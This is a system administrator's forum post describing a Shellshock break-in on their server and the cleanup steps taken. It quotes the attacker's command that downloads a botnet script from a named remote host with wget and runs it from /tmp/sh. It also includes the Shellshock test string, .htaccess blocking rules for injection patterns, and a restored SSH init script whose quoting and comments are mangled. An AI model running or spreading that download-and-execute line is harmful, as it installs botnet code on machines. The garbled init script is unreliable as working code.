As I cannot upgrade the server yet this is what I did.
Basically the hacker has overwritten the SSH config script to his own which loads in a script using wget from his remote server (a site hidden behind a car site > http://stablehost.us/) and then outtputted it to /tmp/sh
with this command to that location that was mentioned trying to start the server e.g
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
this is why I couldn’t get SSH to start without a file being there.
The code he is loading seems to be just a botnet waiting for commands to be sent out.
Fixes - Quick!
These are the things I did (without upgrading - yet!!)
To test the vulnerability in bash
env x='() { :;}; echo vulnerable' dash -c "echo this is a test"
So I turned bash off n installed dash, replaced the default shell for root and any other users to another folder with symbolic links
I then removed AW stats n Webalizer for all virtual mins
I then disabled any cgi-bin commands in all apache config e.g
#ScriptAlias /cgi-bin/ /home/searchmysite/cgi-bin/
#<Directory /home/searchmysite/cgi-bin>
#allow from all
#
I changed all my logins for users and my root password
I checked my user table for any users that looked out of place (none there)
I checked my home folder for any files that shouldn’t be there (none there)
I checked if anyone was logged in as root with ps ax
I tried to run a load of scans from web based sites that check for vulnerabilities e.g
https://shellshocker.net/
http://shellshocktest.com/
Although in my .htaccess file I ban CURL,WGet and default user-agents for HTTP libraries as they are usually used by hackers/script kiddies so if they don’t supply an agent I block them, helps with performance
and bandwidth but can block a lot of these online test scripts.
I also have a lot of rules for looking for SQL injection / XSS plus WP plugins for firewalls/login counts etc
e.g (an example of a few rules)
RewriteCond %{QUERY_STRING} (%3C|<)/?script(%3E|>) [NC,OR]
RewriteCond %{QUERY_STRING} (eval\(|document\.|\.cookie|createElement) [NC,OR]
RewriteCond %{QUERY_STRING} DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\) [NC,OR]
RewriteCond %{QUERY_STRING} ^/+\?.*sys.?(?:objects|columns|tables|[xs]p_|exec|shell) [NC,OR]
RewriteCond %{REQUEST_URI} ^\/\/?(owssvr|strmver|Auth_data|redirect\.adp|MSOffice|DCShop|msadc|winnt|system32|script|autoexec|formmail\.pl|_mem_bin|NULL\.) [NC,OR]
RewriteCond %{REQUEST_URI} ^\/\/?(php\-?my\-?admin\-?\d?|P\/?M\/?A(\d+)?|(db|web)?(admin|db|sql)|(my)?sql\-?(admin|manager|web)?)/? [NC]
RewriteRule .* - [F,L]
So I had to remove those lines first.
And for the config file he had overwritten I changed it back to this one I was given from a sysadmin
#! /bin/sh
BEGIN INIT INFO
Provides: sshd
Required-Start: $remote_fs $syslog
Required-Stop: $remote_fs $syslog
Default-Start: 2 3 4 5
Default-Stop: 1
Short-Description: OpenBSD Secure Shell server
END INIT INFO
set -e
/etc/init.d/ssh: start and stop the OpenBSD “secure shell™” daemon
test -x /usr/sbin/sshd || exit 0
( /usr/sbin/sshd -? 2>&1 | grep -q OpenSSH ) 2>/dev/null || exit 0
export SSHD_OOM_ADJUST=-17
if test -f /etc/default/ssh; then
. /etc/default/ssh
fi
. /lib/lsb/init-functions
if [ -n “$2” ]; then
SSHD_OPTS="$SSHD_OPTS $2"
fi
Are we running from init?
run_by_init() {
([ “$previous” ] && [ “$runlevel” ]) || [ “$runlevel” = S ]
}
check_for_no_start() {
# forget it if we’re trying to start, and /etc/ssh/sshd_not_to_be_run exists
if [ -e /etc/ssh/sshd_not_to_be_run ]; then
if [ “$1” = log_end_msg ]; then
log_end_msg 0
fi
if ! run_by_init; then
log_action_msg “OpenBSD Secure Shell server not in use (/etc/ssh/sshd_not_to_be_run)”
fi
exit 0
fi
}
check_dev_null() {
if [ ! -c /dev/null ]; then
if [ “$1” = log_end_msg ]; then
log_end_msg 1 || true
fi
if ! run_by_init; then
log_action_msg “/dev/null is not a character device!”
fi
exit 1
fi
}
check_privsep_dir() {
# Create the PrivSep empty dir if necessary
if [ ! -d /var/run/sshd ]; then
mkdir /var/run/sshd
chmod 0755 /var/run/sshd
fi
}
check_config() {
if [ ! -e /etc/ssh/sshd_not_to_be_run ]; then
/usr/sbin/sshd -t || exit 1
fi
}
export PATH="${PATH:+$PATH:}/usr/sbin:/sbin"
case “$1” in
start)
check_privsep_dir
check_for_no_start
check_dev_null
log_daemon_msg “Starting OpenBSD Secure Shell server” “sshd”
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd – $SSHD_OPTS; then
log_end_msg 0
else
log_end_msg 1
fi
;;
stop)
log_daemon_msg “Stopping OpenBSD Secure Shell server” “sshd”
if start-stop-daemon --stop --quiet --oknodo --pidfile /var/run/sshd.pid; then
log_end_msg 0
else
log_end_msg 1
fi
;;
reload|force-reload)
check_for_no_start
check_config
log_daemon_msg “Reloading OpenBSD Secure Shell server’s configuration” “sshd”
if start-stop-daemon --stop --signal 1 --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd; then
log_end_msg 0
else
log_end_msg 1
fi
;;
restart)
check_privsep_dir
check_config
log_daemon_msg “Restarting OpenBSD Secure Shell server” “sshd”
start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile /var/run/sshd.pid
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd – $SSHD_OPTS; then
log_end_msg 0
else
log_end_msg 1
fi
;;
try-restart)
check_privsep_dir
check_config
log_daemon_msg “Restarting OpenBSD Secure Shell server” “sshd”
set +e
start-stop-daemon --stop --quiet --retry 30 --pidfile /var/run/sshd.pid
RET="$?"
set -e
case $RET in
0)
# old daemon stopped
check_for_no_start log_end_msg
check_dev_null log_end_msg
if start-stop-daemon --start --quiet --oknodo --pidfile /var/run/sshd.pid --exec /usr/sbin/sshd – $SSHD_OPTS; then
log_end_msg 0
else
log_end_msg 1
fi
;;
1)
# daemon not running
log_progress_msg “(not running)”
log_end_msg 0
;;
*)
# failed to stop
log_progress_msg “(failed to stop)”
log_end_msg 1
;;
esac
;;
status)
status_of_proc -p /var/run/sshd.pid /usr/sbin/sshd sshd && exit 0 || exit $?
;;
*)
log_action_msg “Usage: /etc/init.d/ssh {start|stop|reload|force-reload|restart|try-restart|status}”
exit 1
esac
exit 0
Installed Fail2Ban but that caused me issues getting my emails from my server to Thunderbird - will re-visit it - already have DenyHosts but would like an automatic script that checked access/error log files and added the IPs into IPTables if possible to block DOS, heavy hitters, scrapers, hackers and spammers etc.
So that is what I have done so far and I will be upgrading to a new server - I could see from a file search he had put that file /tmp/sh in at Sunday 5am. The next reboot was the time I couldn’t stop/start SSH. So I guess that was the time he got in.
I was going to change the SSH port but then he could just run a port scanner and it would make life more difficult anyway.